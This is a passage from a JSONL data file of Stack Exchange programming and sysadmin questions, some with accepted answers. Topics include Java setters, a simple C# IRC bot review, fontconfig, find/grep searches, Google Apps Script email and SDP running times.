66738423+,269,12498,0.9997260166738423+,269,12499,0.9997260166738423+,403,12841,0.9997260166738423+,390,433,0.9997260166738423+,403,12876,0.9997260166738423+,285,272,0.9997260166738423+,285,290,0.9997260166738423+,296,8,0.9986244841815681+,296,9,0.9986244841815681+,296,299,0.9997260166738423+,296,1101,0.9997260166738423+,296,1125,0.9986244841815681+,296,1128,0.9986244841815681+,296,1132,0.9986244841815681+,291,269,0.9997260166738423+,296,1144,0.9997260166738423+,291,294,0.9997260166738423+,291,1272,0.9997260166738423+,291,12493,0.9997260166738423+,291,12494,0.9997260166738423+,291,12495,0.9997260166738423+,291,12496,0.9997260166738423+,291,12498,0.9997260166738423+,291,12499,0.9997260166738423+,296,1149,0.9997260166738423+,237,220,0.9999478011222758+,417,8102,0.9998336350736409+,304,306,0.9997260166738423+,300,298,0.9997260166738423+,290,272,0.9997260166738423+,449,450,0.9997260166738423+,300,307,0.9997260166738423+,449,459,0.999071786152359+,290,285,0.9997260166738423+,426,382,0.9999217037269025+,426,416,0.9999217037269025+,426,480,0.9999217037269025+,426,482,0.9999217037269025+,426,485,0.9999217037269025+,426,486,0.9999217037269025+,426,489,0.9999217037269025+,426,490,0.9999217037269025+,426,492,0.9999217037269025+,263,249,0.9997260166738423+,436,400,0.9986244841815681+,445,600,0.9999217037269025+,454,439,0.9997260166738423+,454,442,0.9997260166738423+,458,452,0.9997260166738423+,374,387,0.9997260166738423+,299,8,0.9986244841815681+,299,9,0.9986244841815681+,299,296,0.9997260166738423+,299,1101,0.9997260166738423+,274,284,0.9997260166738423+,299,1125,0.9986244841815681+,299,1128,0.9986244841815681+,299,1132,0.9986244841815681+,299,1144,0.9997260166738423+,299,1149,0.9997260166738423+,307,298,0.9997260166738423+,307,300,0.9997260166738423+,322,328,0.9997260166738423+,322,335,0.9997260166738423+,322,1299,0.9997260166738423+,322,9497,0.9997260166738423+,476,470,0.9997260166738423+,476,471,0.9997260166738423+,284,274,0.9997260166738423+,313,310,0.9997260166738423+,485,382,0.9999217037269025+,485,416,0.9999217037269025+,485,426,0.9999217037269025+,485,480,0.9999217037269025+,485,482,0.9999217037269025+,485,486,0.9999217037269025+,485,489,0.9999217037269025+,485,490,0.9999217037269025+,485,492,0.9999217037269025+,330,334,0.9997260166738423+,387,374,0.9997260166738423+,316,320,0.9999729135649095+,480,382,0.9999217037269025+,350,360,0.9997260166738423+,493,382,0.9999217037269025+,350,361,0.9997260166738423+,480,416,0.9999217037269025+,493,416,0.9999217037269025+,397,28,0.9981390956560382+,480,426,0.9999217037269025+,480,482,0.9999217037269025+,480,485,0.9999217037269025+,294,269,0.9997260166738423+,480,486,0.9999217037269025+,294,291,0.9997260166738423+,480,489,0.9999217037269025+,359,1064,0.9998890838982443+,294,1272,0.9997260166738423+,480,490,0.9999217037269025+,294,12493,0.9997260166738423+,480,492,0.9999217037269025+,294,12494,0.9997260166738423+,294,12495,0.9997260166738423+,369,309,0.9997260166738423+,294,12496,0.9997260166738423+,294,12498,0.9997260166738423+,294,12499,0.9997260166738423+,334,330,0.9997260166738423+,380,391,0.9997260166738423+,380,404,0.9986244841815681+,380,410,0.9986244841815681+,380,411,0.9986244841815681+,351,9570,0.9997260166738423+,351,18765,0.9997260166738423+,351,18820,0.9997260166738423+,351,64976,0.9997260166738423+,489,382,0.9999217037269025+,489,416,0.9999217037269025+,416,382,0.9999217037269025+,489,426,0.9999217037269025+,344,319,0.9997260166738423+,416,426,0.9999217037269025+,489,480,0.9999217037269025+,416,480,0.9999217037269025+,489,482,0.9999217037269025+,416,482,0.9999217037269025+,489,485,0.9999217037269025+,416,485,0.9999217037269025+,489,486,0.9999217037269025+,416,486,0.9999217037269025+,489,490,0.9999217037269025+,416,489,0.9999217037269025+,416,490,0.9999217037269025+,489,492,0.9999217037269025+,416,492,0.9999217037269025+,410,380,0.9986244841815681+,353,357,0.9997260166738423+,410,391,0.9986244841815681+,360,350,0.9997260166738423+,410,404,0.9997260166738423+,410,411,0.9997260166738423+,497,504,0.9997260166738423+,419,427,0.9981390956560382+,438,453,0.9997260166738423+,438,435,0.9997363863461571+,360,361,0.9997260166738423+,326,348,0.9997260166738423+,435,438,0.9997363863461571+,524,533,0.9997260166738423+,493,426,0.9999217037269025+,435,453,0.9997363863461571+,524,924,0.9997260166738423+,493,480,0.9999217037269025+,326,335704,0.9997260166738423+,524,5542,0.9997512856021227+,493,482,0.9999217037269025+,326,335732,0.9997260166738423+,524,5612,0.9997512856021227+,493,485,0.9999217037269025+,493,486,0.9999217037269025+,524,5652,0.9997512856021227+,493,489,0.9999217037269025+,524,5691,0.9997512856021227+,493,490,0.9999217037269025+,493,492,0.9999217037269025+,524,7343,0.9997512856021227+,524,7345,0.9997512856021227+,524,7346,0.9997512856021227+,456,466,0.9999217037269025+,466,456,0.9999217037269025+,335,322,0.9997260166738423+,509,508,0.9997260166738423+,335,328,0.9997260166738423+,335,1299,0.9997260166738423+,335,9497,0.9997260166738423+,453,438,0.9997260166738423+,483,496,0.9997260166738423+,483,521,0.9997260166738423+,483,815,0.9997260166738423+,320,316,0.9999729135649095+,453,435,0.9997363863461571+,382,416,0.9999217037269025+,382,426,0.9999217037269025+,382,480,0.9999217037269025+,382,482,0.9999217037269025+,382,485,0.9999217037269025+,382,486,0.9999217037269025+,382,489,0.9999217037269025+,382,490,0.9999217037269025+,544,539,0.9997260166738423+,382,492,0.9999217037269025+,544,541,0.9997260166738423+,345,347,0.9997260166738423+,553,551,0.9997260166738423+,471,470,0.9997260166738423+,471,476,0.9997260166738423+,561,76267,0.9997260166738423+,404,380,0.9986244841815681+,404,391,0.9986244841815681+,348,326,0.9997260166738423+,404,410,0.9997260166738423+,348,335704,0.9997260166738423+,404,411,0.9997260166738423+,348,335732,0.9997260166738423+,565,566,0.9997260166738423+,534,537,0.9997260166738423+,534,538,0.9997260166738423+,542,855,0.9997260166738423+,542,349839,0.9997260166738423"  , "title": "Consolidating a raw csv of two ids to grouped set of ids in json"  , "tags": "ruby;json;csv"  } 
{  "id": "_softwareengineering.314393"  , "question": "Is it a good practice to have a setter method of this kind? With primitive types, it's obviously fine, but when you have a setter for a field which holds a reference to mutable object, this might go wrong - the caller could modify the object after passing it to setField method. class Myclass{   private MyOtherClass field;   public setField(MyOtherClass field){      this.field = field;   }}Is it the right thing to simply call clone() (assuming MyOtherClass has only primitive type fields)?public setField(MyOtherClass field) {    this.field = field.clone();}"  , "title": "Mutable objects - setters and getters"  , "tags": "java;setters"  } 
{  "id": "_softwareengineering.22352"  , "question": "Consider a system that uses DDD (as well: any system that uses an ORM). The point of any system realistically, in nearly every use case, will be to manipulate those domain objects. Otherwise there's no real effect or purpose.Modifying an immutable object will cause it to generate a new record after the object is persisted which creates massive bloat in the datasource (unless you delete previous records after modifications).I can see the benefit of using immutable objects, but in this sense, I can't ever see a useful case for using immutable objects. Is this wrong?"  , "title": "Do immutable objects and DDD go together?"  , "tags": "immutability;domain driven design"  } 
{  "id": "_softwareengineering.95482"  , "question": "There is a lot of conversation regarding best practices1 in software development. I've seen at least three major points get a lot of discussion both on SE and elsewhere:What qualifies as a best practice, and why?Are best practices even worth discussing in the first place, because it's reasonable to assert that no practice is a best practice?When should you forego a best practice -- or perhaps most best practices -- either because it doesn't seem applicable or because of external constraints (time, money, etc.) that make the trade-off impractical?Something that seems to come up far less often, but more than never, is a notion of common sense in software development. Recent experience has brought this notion to the front of my mind again.My initial impression is that it is a different discussion than best practices, but with perhaps some cross-pollination.When I think of common sense in general, I think of a set of rules that you've either picked up or been taught that give you a baseline to reason and make decisions. Following common sense is a good way to avoid you shooting your entire leg off. But beyond a pretty low baseline, common sense gives way to a need to make educated decisions, and educated decisions can even override common sense when the evidence seems compelling enough. I might be playing a little loose with the definition here, but I think it is close enough to spearhead my example.When I think of common sense in software development, I think of all of the rules of basic hygiene to prevent a codebase from rapidly decaying into an incomprehensible mess. As examples, things like: not using a single global structure to maintain and communicate state within a non-trivial program; not using variables/method/class names that are just random gibberish; things that probably resemble what we've come to call anti-patterns quite closely. Where applying best practices the practical analogue to learning patterns, applying common sense could be seen as the practical analogue of learning anti-patterns.With this in mind, I'd like to pose a few questions that seeing the answers of others for might help me reason my way through this.Do others believe that there is a notion of common sense in software development? Would be interested knowing the reasoning either way.If so, is it a notion worth discussing? Is it something we should push for as much as we sometimes do with best practices? Is it something worth pushing for even harder?If the analogy to anti-patterns seems reasonable, the general rule is that anti-patterns are only employed if there is no other way, and even then only under very limited circumstances. How flexible should one be in allowing a codebase to deviate from common sense? It seems unreasonable that the answer is not at all, because sometimes expediency demands deviations. But, it seems like a different sort of argument than when to employ a best practice. Maybe it isn't; if you don't think so, I'd like to learn why.This is far more opened ended and maybe worthy of a follow-on question all its own, what sorts of recommendations would you point at that seem like matters of common sense? Other thoughts are also welcome.1Perhaps I would do better to call them commonly recurring domain patterns, but the name best practices is common enough that everyone knows what they are, even if they don't agree that they are. If the best part bothers you, just imagine I replaced best practices with something less authoritative sounding."  , "title": "The difference between best practices and common sense?"  , "tags": "anti patterns"  , "accepted_answer": "Best practices are practices that have been found to work well in a relatively wide field of circumstances. The problem with them is that A) the expression sometimes is abused for marketing and B) as fixed rules, they are not flexible enough; no set of fixed rules should be followed without thinking about whether they apply to the current situation.Best practices are great when they come with explanations why they are best and in what circumstances they should be used. Then you can reason about when not to use them.The problem with common sense is that it's too flexible - it can be used to justify pretty much anything, and you can't really have a rational discussion when people disagree and both claim their position is common sense. It's good to have but poor as a guideline for a team to follow."  } 
{  "id": "_unix.336388"  , "question": "My ssh-config currently has two entries for each host, one that has the local hostname and one that has the remote address of the host. I'm wondering if there's a way I can combine those two entries so that ssh will automatically pick the right way to connect to the host depending on whether I'm local or remote?!"  , "title": "SSH-Config - Is there a way to determine if local or remote?"  , "tags": "ssh;ssh config"  } 
{  "id": "_webmaster.46918"  , "question": "I am using AWS and I can create instance and keep it stopped if I don't need it. It beocmes handy as I can test/switch back/forth to several differently configured instances and don't loos any of them. I just need to pay the monthly storage price I am consuming, not the server price.Now, on rackspace faq, I saw they doesn't support any 'suspension' status:http://www.rackspace.com/cloud/servers/faq/ (question titile: If I am not using my server or do not have traffic to it, do I still have to pay for it?)So, is it so, I can't keep my server in stop mode? Or did I understand something wrong?It seems to me, if I purchase a server, I will have to continue to use it and if I want to stop for some days, I will have to delete the server completely with complete configuration and when I will be back to use it, I will have to reconfigure the whole server again? Is it so?"  , "title": "Can't I pause my server On Rackspace as Like AWS?"  , "tags": "amazon aws;rackspace"  } 
{  "id": "_hardwarecs.4282"  , "question": "Can use twitchCan record screen and gameplay using windows-G option. http://10windows.pro/what-are-the-pc-system-requirements-for-recording-game-clips-in-the-xbox-app/Can play overwatch at full screen with maxed graphicCheap. Under $100. Or around. Well, actually even $500 is not an issue but it's better VERY justified.What should I buy?I am currently using NVIDIA GeForce GT 530 [Display adapter]"  , "title": "Recommend me a good video card"  , "tags": "graphics cards"  , "accepted_answer": "According to this site: http://www.techspot.com/review/1180-overwatch-benchmarks/page2.html, the best deal (good performances / low price) for your planned use would be the GTX660ti (https://www.amazon.fr/Asus-GTX660TI-DC2O-2GD5-graphique-Geforce-PCI-Express/dp/B009KZ4DK4).This GPU runs Overwatch, ultra settings, 1080p (I assume that its your resolution) at ~80fps and is around 100.However, becarful, you didn't say your current configuration (especially CPU): for a twitch/live record of your screen, I'd say that CPU is as much important as GPU. Besides, the 80fps performance had been get using a i7 6700k wich is quite de best CPU you can get for gaming, for now.So you should tell us more about your config in an edit and I'll be able to edit this answer accordingly."  } 
{  "id": "_softwareengineering.96837"  , "question": "I asked in another question about where a good place to start learning programming was and I came to the conclusion with the many helpful answers, that I would like to go with Python. So now, would there be a benefit to using a .NET implementation like IronPython or should I just do Python? My understanding is I would get a better grasp of fundamentals without relying on .NET, is that accurate?"  , "title": "Should I use .NET? (IronPython?)"  , "tags": ".net;python;ironpython"  , "accepted_answer": "Straight Python. If you're going to learn Python, start at the bottom. Python can be extremely concise on its own. Sticking to the core should help you avoid confusing language features with .NET libraries. You also have the benefit of totally portable code (Windows, Mac, Linux are all supported). There are a ton of resources out there, so get to know the basics. Good luck!"  } 
{  "id": "_softwareengineering.211636"  , "question": "This question focuses on user documentation, not on code documentation.I just finished my software project, and the people I work for are expecting me to write user documentation, describing everything the software does.All the documentation they had until now (about the rest of the software they use) is full of screenshots, and sometimes barely contains any text. I think it's awful. I've been struggling for hours to understand how screenshots were connected, and most of the time I had to ask for help from someone else.I wrote a Java desktop application, and its appearance is likely to depend on the current Windows theme and Java update. I don't think screenshots can form reliable, definitive reference.Taking hundreds of screenshots and annotating them will take forever, and I don't believe it will help more than accurate, plain text documentation.How should I approach putting the user documentation together?  What guidelines should I follow regarding the use of screenshots versus explaining in text with user documentation?"  , "title": "Should user documentation include screenshots?"  , "tags": "development process;documentation"  , "accepted_answer": "Screenshots are an important aspect of the user guidance. However, they also need to be accompanied by clear and precise instructions. For example, having a screenshot showing the screen, a red arrow pointing to a button and the text reading 'Now that you have entered the filename, Click the Next button.' is much clearer than either the text or the screenshot alone.Doing good click by click guides is time consuming, but worth it when it comes to supporting end users (even technical ones)"  } 
{  "id": "_unix.41062"  , "question": "I can specify the default font family used to display a particular language in X by editing .fonts.conf in my user directory (or editing the global /etc/fonts/fonts.conf). However, I've not been able to force a particular font size in the same way.For example, the following forces the Russian language to be displayed in Linux Libertine:<fontconfig>    <match>        <test name=lang>            <string>rus</string>        </test>         <edit mode=prepend name=family>            <string>Linux Libertine</string>        </edit>    </match></fontconfig>I have tried adding the following XML tag, but it does not work:         <edit mode=assign name=size>             <int>18</int>         </edit>"  , "title": "Forcing font size based on language in .fonts.conf"  , "tags": "x11;xorg;fonts;fontconfig"  , "accepted_answer": "You can try re-using this my snippet which increases font size of specified font by a given factor:<!--    Scaling a chosen font with Fontconfig.    By poige, 2008.--><match target=font>    <test name=family>        <string>Liberation Sans</string>    </test>    <edit name=pixelsize mode=assign>        <times><name>pixelsize</name>, <double>1.1</double></times>    </edit></match>"  } 
{  "id": "_webmaster.99750"  , "question": "When moving a site to another domain is it a good idea to leave the sitemap.xml in place and not 301'ed to the new site so that google bot has a record of all the links on the old domain and when in crawls them it will follow the 301. Or is it a better idea to blanket 301 everything including the sitemap.xml from the old site to the new site ?"  , "title": "Should i 301 the sitemap.xml from an old site to a new site when moving domain?"  , "tags": "301 redirect;sitemap;googlebot"  } 
{  "id": "_webmaster.106710"  , "question": "Recently I was checking the source code of a website. I was expecting the links to do follow or no follow but what I observed was this:<a href=http://www.website.com rel=nofollow me noreferrer>What is the meaning of this full line?"  , "title": "What is meaning of nofollow me noreferrer in a rel attribute of a link?"  , "tags": "nofollow;hyperlink;rel"  , "accepted_answer": "Rel attribute can contain multiple value. Here is reference link.The value of this attribute is a space-separated list of link types.<a href=http://www.website.com rel=nofollow/><a href=http://www.website.com rel=me/><a href=http://www.website.com rel=noreferrer/>So the short form is<a href=http://www.website.com rel=nofollow me noreferrer/>Nofollow is used when you don't want to pass Google trust factor(Pagerank and Anchor text) to that link. Noreferrer is used when you want to hide your HTTP referral information, so other sites who use analytics tool don't know from where the traffic is coming. Me is used when you want to reference your profile on any page. It can be anything like google plus, facebook, twitter and site/author profile as well."  } 
{  "id": "_codereview.142653"  , "question": "This was a simple IRC bot I threw together a long time ago, found recently, and was curious as to if there were any kind of significant improvements that could made.using System;using System.Net;using System.Net.Sockets;using System.IO;using System.Threading;public class IRCbot{    // server to connect to (edit at will)    public static string SERVER = irc.changeme.com;    // server port (6667 by default)    private static int PORT = 6667;    // user information defined in RFC 2812 (IRC: Client Protocol) is sent to the IRC server     private static string USER = USER IRCbot 0 * :IRCbot;    // the bot's nickname    private static string NICK = IRCbot;    // channel to join    private static string CHANNEL = #opers;    static void Main(string[] args)    {        NetworkStream stream;        TcpClient irc;        string inputLine;        StreamReader reader;        StreamWriter writer;        try        {            irc = new TcpClient(SERVER, PORT);            stream = irc.GetStream();            reader = new StreamReader(stream);            writer = new StreamWriter(stream);            writer.WriteLine(NICK  + NICK);            writer.Flush();            writer.WriteLine(USER);            writer.Flush();            while (true)            {                while ((inputLine = reader.ReadLine()) != null)                {                    Console.WriteLine(<-  + inputLine);                    // split the lines sent from the server by spaces (seems to be the easiest way to parse them)                    string[] splitInput = inputLine.Split(new Char[] {                        ' '                    });                    if (splitInput[0] == PING)                    {                        string PongReply = splitInput[1];                        //Console.WriteLine(->PONG  + PongReply);                        writer.WriteLine(PONG  + PongReply);                        writer.Flush();                        //continue;                    }                    switch (splitInput[1])                    {                        case 001:                            writer.WriteLine(JOIN  + CHANNEL);                            writer.Flush();                            break;                        default:                            break;                    }                }                // close all streams (to preserve memory)                writer.Close();                reader.Close();                irc.Close();            }        }        catch (Exception e)        {            // shows the exception, sleeps for a little while and then tries to establish a new connection to the IRC server            Console.WriteLine(e.ToString());            Thread.Sleep(5000);            string[] argv = {};            Main(argv);        }    }}"  , "title": "Simple IRC Bot in C#"  , "tags": "c#;.net;networking;chat"  , "accepted_answer": "you should separate the IRCBot from the Main into its own class with it's own fields/propertiesyou should specify all required parameters via the construtor so that it is not possible to create an invalid ircbotI don't think it's a good idea to make the retry recursive - IMHO it would be better to create a loop and limit the retries so that you don't have an infite loop (ok, unless it was desired)you really should use the using statement. In your current implementation the resources will be closed only if there was no execption - if an exception occurs the Closees won't be called. You also don't free the resources because you don't call the Dispose, you just close them and then create new resources on retry, this is a memory leak.Here's an example:public class IRCbot{    // server to connect to (edit at will)    private readonly string _server;    // server port (6667 by default)    private readonly int _port;    // user information defined in RFC 2812 (IRC: Client Protocol) is sent to the IRC server     private readonly string _user;    // the bot's nickname    private readonly string _nick;    // channel to join    private readonly string _channel;    private readonly int _maxRetries;    public IRCbot(string server, int port, string user, string nick, string channel, int maxRetries = 3)    {        _server = server;        _port = port;        _user = user;        _nick = nick;        _channel = channel;        _maxRetries = maxRetries;    }    public void Start()    {        var retry = false;        var retryCount = 0;        do        {            try            {                using (var irc = new TcpClient(_server, _port))                using (var stream = irc.GetStream())                using (var reader = new StreamReader(stream))                using (var writer = new StreamWriter(stream))                {                    writer.WriteLine(NICK  + _nick);                    writer.Flush();                    writer.WriteLine(_user);                    writer.Flush();                    while (true)                    {                        string inputLine;                        while ((inputLine = reader.ReadLine()) != null)                        {                            Console.WriteLine(<-  + inputLine);                            // split the lines sent from the server by spaces (seems to be the easiest way to parse them)                            string[] splitInput = inputLine.Split(new Char[] { ' ' });                            if (splitInput[0] == PING)                            {                                string PongReply = splitInput[1];                                //Console.WriteLine(->PONG  + PongReply);                                writer.WriteLine(PONG  + PongReply);                                writer.Flush();                                //continue;                            }                            switch (splitInput[1])                            {                                case 001:                                    writer.WriteLine(JOIN  + _channel);                                    writer.Flush();                                    break;                                default:                                    break;                            }                        }                    }                }            }            catch (Exception e)            {                // shows the exception, sleeps for a little while and then tries to establish a new connection to the IRC server                Console.WriteLine(e.ToString());                Thread.Sleep(5000);                retry = ++retryCount <= _maxRetries;            }        } while (retry);    }}Usage:void Main(){    var ircBot = new IRCbot(        server: irc.changeme.com,        port: 6667,        user: USER IRCbot 0 * :IRCbot,        nick: IRCbot,        channel: #opers    );    ircBot.Start();}"  } 
{  "id": "_cstheory.31251"  , "question": "Karatsuba multiplication of two complex numbers can be performed with just three real multiplications (instead of four) as follows:$$(a+bi)(c+di) = (ac-bd) + i ((a+b)(c+d) - ac-bd)$$We only need the products $ac$, $bd$ and $(a+b)(c+d)$. Does there exists a similar trick for quaternion multiplication? A naive multiplication would need $16$. This can probably be reduce to $9$ using the same trick as above (and taking into account that quaternion multiplication is non-commutative). My question is it known that $9$ is the lower bound? If not, does there exist an algorithm, which does quaternion multiplications in less than $9$ real multiplications?"  , "title": "Minimum number of real multiplications to multiply two quaternions"  , "tags": "ds.algorithms"  } 
{  "id": "_unix.344038"  , "question": "I have a file that has a lot of junk and special characters as well. I want to keep a particular alphanumeric pattern and ignore everything else - e.g AB123456789 - I want to extract only this keyword i.e. two alphabets 'AB' followed by 9 numbers.SAMPLE INPUT:[{u_affected_cis:m324nkj43nkj3n4kj34n,number:hhggjjiiijjjf,akdsfj_skdfj:,as_group:1,324kj3k4j3k4jk34,order:,__status:success,phase:gfhgh,cmdb_ci:0989iujlkj,u_benefit_organization:,u_creating_group:luiy98798yukuh,work_notes_list:,priority:4,u_tier4_location:,review_date:,u_mf_batch_inst_opdoc_move:,u_requesting_group:kjhljlkjhlkuh098709kjh,business_duration:,number:AB123456789,requested_by:tgfgtf878789khgo7869876ff9007da158c,u_temp,change_plan:,asd_def:2023-02-10 11:58:21,implementation_plan:,short_description:data,u_alternate_programmer_work_number:,work_start:,u_assignment_group_updated:,yy_uhggfjk:,fds:change_request,closed_by:abcdef,start_date:2023-02-10}]SAMPLE OUTPUT:AB123456789"  , "title": "How can I delete everything but an alphanumeric pattern?"  , "tags": "text processing;awk;sed;regular expression;cut"  } 
{  "id": "_cs.64049"  , "question": "ProblemI stumbled over the following job scheduling problem.There are two resources, for simplicity I call them ...CPU_RAM (MAX_CPU_RAM specifies what is available in total)GPU_RAM (MAX_GPU_RAM specifies what is available in total)Each job has ...CPU_RAM requirementsGPU_RAM requirementsa duration, that is the time needed for executionan earliest start time, i.e. it cannot be executed before thatis known offline. There are changes (addition/removal, resource usage change) but they are infrequent.For example,  Job A needs 20MB GPU_RAM, 100MB CPU_RAM and 5 minutes to execute. It cannot be started before 9:00.There are other jobs  that have different requirements.GoalGiven the constraints above I want to find a schedule with the earliest completion time.I don't need a perfect solution as I doubt it would be feasible.Since there will be roughly 50 jobs, yet up to 200 jobs should be possible.Instead I am interested in a solution that works in practice.Execution time should be less than 10 seconds to be feasible.Yes the domain I am working in is not actually scheduling jobs on a PC.But scheduling jobs on a PC is easier to describe, than what I am doing.First HeuristicThe heuristic I am using atm. is quite primitive.I sort the jobs by their earliest start time.Then I pick the one that can start earliest and add it to the schedule.Taking the reduced resources into consideration the possible start times of the remaining jobs are updated.The job with the earliest possible start time is added. On a tie I take the job that uses most of the RAM for both CPU/GPU.The problem with that approach is that jobs using less RAM are preferred since they fit easier and thus tend to have lower earliest possible start times.So I am thinking of making the heuristic more like bin packing, by doing first-fit decreasing.ResearchAfter the heuristic I looked into The Algorithm Design Manual, if anything there might be of help.I think pin packing algorithms with 3D boxes might apply. The constraint though would be that each box needs to have a specific alignment. Then one dimension could represent CPU_RAM, the other GPU_RAM and finally one time. Missing in that case would be the earliest start time, which I would have to consider myself when deciding which box can be added next.Moreover the bin would have to be open in one dimension (time).My google search was not that fruitful though, finding an algorithm that has a specific alignment for the boxes.Hints/Advice/FeedbackI would be very grateful if you could give me advice of what algorithms, papers, or topics to look into, that can help me fulfil the goal outlined."  , "title": "Job Scheduling: Two Resources, Defined Job Length, Defined Earliest Start"  , "tags": "optimization;scheduling;assignment problem"  } 
{  "id": "_webapps.86207"  , "question": "I am starting with Google Scripts and I was hoping to create a sheet that could email selected cells from a row. What I want to do by selecting Send Email at the end of a row it then selects pre defined cells on the said row and then emails it. I created something in VBA for Excel that does the same trick as shown below. I am essentially trying to replicate what I have done below using Google Sheets if possible to do via Scripts. Any advice would be much appreciated.   Private Sub Worksheet_SelectionChange(ByVal Target As Range)Dim r As LongIf Target.Count = 1 Then    If Target.Value = Send Email Then        r = Target.Row        With CreateObject(Outlook.Application).CreateItem(0)            .Subject = Cells(r, 5).Text            .Body = ============ & vbNewLine & Cells(r, 7).Text & vbNewLine & ============ & vbNewLine & Cells(r, 6).Text            .To = Cells(r, 4).Text            .SentOnBehalfOfName = 7828691            .Display        End WithEnd If End SubI have also attached my Google sheet so far to show an example. Here is my Google Sheet so far"  , "title": "Send selected cells from a row via email"  , "tags": "google spreadsheets;google apps script"  , "accepted_answer": "While it's possible to insert a button (Insert > Drawing) and assign a script to it, the resulting buttons float over the sheet in their own layer, not being bound to any cell. This wouldn't work for you since you want the action to be related to a particular row of the sheet. Instead, I would use a custom item of the main menu, added by the function onOpen below, every time the spreadsheet is open (so, after entering the script you'll need to close and open the spreadsheet for it to appear). The menu command send email sends email using the data from the active row (the one where the cursor is now). It doesn't matter where in the row the cursor is. Otherwise the logic is pretty straightforward: get the handle of the active sheet, get the number of the active row, get values in the active row, use them to compose an email.  function sendEmail() {  var sheet = SpreadsheetApp.getActiveSheet();   var row = SpreadsheetApp.getActiveRange().getRow();  var values = sheet.getRange(row, 1, 1, 10).getValues();   // or how many columns you want from that row; 10 seem to be enough for your data  var recipient = values[0][2];   // indices of JavaScript are 0-based.    var subject = values[0][3];     // 0th row of the acquired range, 3rd column  var body = values[0][6] + '\\n========\\n' + values[0][4];   MailApp.sendEmail(recipient, subject, body);}  function onOpen() {  var menu = [{name: Send Email, functionName: sendEmail}];  SpreadsheetApp.getActiveSpreadsheet().addMenu(Custom, menu);}You can add options with var options = {cc: 'someemail@gmail.com', replyTo: 'another@gmail.com'}; or var options = {cc: values[0][7], replyTo: values[0][8]}; if you take them from the spreadsheet. Then the sending command will beMailApp.sendEmail(recipient, subject, body, options);"  } 
{  "id": "_softwareengineering.290556"  , "question": "In the Importing External Crates section of the Rust book the author creates main.rs file in an already existing library project. I randomly picked up a bunch of crates from crates.io, examined their structure and did not find any project containing both lib.rs and main.rs files. So i'm wondering if it is common to have both files in a library project hosted at crates.io or it should be considered a poor style?To be more clear, I'm asking about developing a library designed to share with the community, not about an executable with a few days lifecycle.I'm aware of Cargo's testing capabilities, so the purpose of main.rs I want to add to the library is not testing. A good example of how my main.rs in the library crate should relate to the library is how curl command line tool is related to libcurl library. To my mind it is convenient to have a project for which cargo build builds an executable by default but all the functionality is available for importing as a library."  , "title": "Publishing a crate containing both lib.rs and main.rs files"  , "tags": "rust"  } 
{  "id": "_codereview.127210"  , "question": "I have two Dictionaries with around 65,000 KeyValuePairs each. I used foreach and if-else statements to compare them and get values, but it goes very slow. How could I optimize my code and gain more speed?private void bgwCompare_DoWork(object sender, DoWorkEventArgs e){    var i = 0;    foreach (KeyValuePair<string, string> line1 in FirstDictionary)    {        foreach (KeyValuePair<string, string> line2 in SecondDictionary)        {            if (line1.Key == line2.Key)            {                ResultDictionary.TryAdd(line1.Value, line2.Value);                ListViewItem item = new ListViewItem(line1.Value);                item.SubItems.Add(line2.Value);                ResultList.Items.Add(item);            }            i++;            bgwCompare.ReportProgress(i * 100 / (FirstDictionary.Count() * SecondDictionary.Count()));        }    }}"  , "title": "Extracting values from dictionaries where the keys match"  , "tags": "c#;performance;dictionary;join"  , "accepted_answer": "If I'm understanding it correctly, you're populating a ConcurrentDictionary from the values of two other ConcurrentDictionaries, where the keys are equal. Try this, it's vastly faster than your loop in my tests.var matches = FirstDictionary.Keys.Intersect(SecondDictionary.Keys);foreach (var m in matches)    ResultDictionary.TryAdd(FirstDictionary[m], SecondDictionary[m]);"  } 
{  "id": "_cstheory.14770"  , "question": "This is a followup of a recent question asked by A. Pal: Solving semidefinite programs in polynomial time.I am still puzzling over the actual running time of algorithms that compute the solution of  a semidefinite program (SDP). As Robin pointed out in his comment to the above question, SDPs cannot be solved in polynomial time in general.It turns out that, if we define our SDP carefully and we impose a condition on how well-bounded the primal feasible region is, we can use the ellipsoid method to give a polynomial bound on the time needed to solve the SDP (see Section 3.2 in L. Lovsz, Semidefinite programs and combinatorial optimization).The bound given there is a generic polynomial time and here I am interested in a less coarse bound.The motivation comes from the comparison of two algorithms used for the quantum separability problem (the actual problem is not relevant here, so don't stop reading classical readers!).The algorithms are based on a hierarchy of tests that can be cast into SDPs, and each test in the hierarchy is on a larger space, that is, the size of the corresponding SDP is larger. The two algorithms I want to compare differ in the following tradeoff: in the first one, to find the solution you need to climb more steps of the hierarchy and in the second one the steps of the hierarchy are higher, but you need to climb less of them. It is clear that in the analysis of this tradeoff, a precise running time of the algorithm used to solve the SDP is important. The analysis of these algorithms is done by Navascus et al. in arxiv:0906.2731, where they write:... the time complexity of an SDP with $m$ variables and of matrix size $n$ is $O(m^2 n^2)$ (with a small extra cost coming from an iteration of algorithms).In another paper, where this approach to the problem was first proposed, the authors give the same bound, but they use the more cautious term number of arithmetic operations instead of time complexity.  My question is two-fold:Which algorithm/bound are Navascus et al. referring to?Can I replace the expression polynomial time in Lovsz with something less coarse (keeping the same assumptions)?"  , "title": "Polynomial speedups with algorithms based on semidefinite programming"  , "tags": "quantum information;semidefinite programming;analysis of algorithms"  } 
{  "id": "_unix.105328"  , "question": "How can I find a word in specific files matching a pattern. e.g. searching for version in CMake* files recursively found in the current directory."  , "title": "How to search in specific files matching a pattern"  , "tags": "shell;wildcards;search;recursive"  , "accepted_answer": "If you want to see the file name and line number, POSIXly:find . -name 'CMake*' -type f -exec grep -nF /dev/null version {} +(you don't want to use ; here which would run one grep per file). That's the standard equivalent of the GNUism:find . -name 'CMake*' -type f -print0 | xargs -r0 grep -nHF {} +find (in the first), xargs (in the second) will pass as many arguments to grep as possible without exceeding the limit on the number of arguments you can pass to a command. When doing that splitting, it could happen that for the last run, only one argument be passed to grep in which case grep wouldn't print the file name. That's why you need /dev/null there (or -H with GNU grep).With -type f, we're only considering regular files (not devices, symlinks, pipes, directories...).If you want to use GNUisms, you could use GNU grep ability to descend a directory tree: grep -rHnF --include='CMake*' version .You don't want to use -R as that causes grep to follow symlinks when descending the directory tree and read from devices, fifos, sockets...That version is safer and more efficient, but not portable."  } 
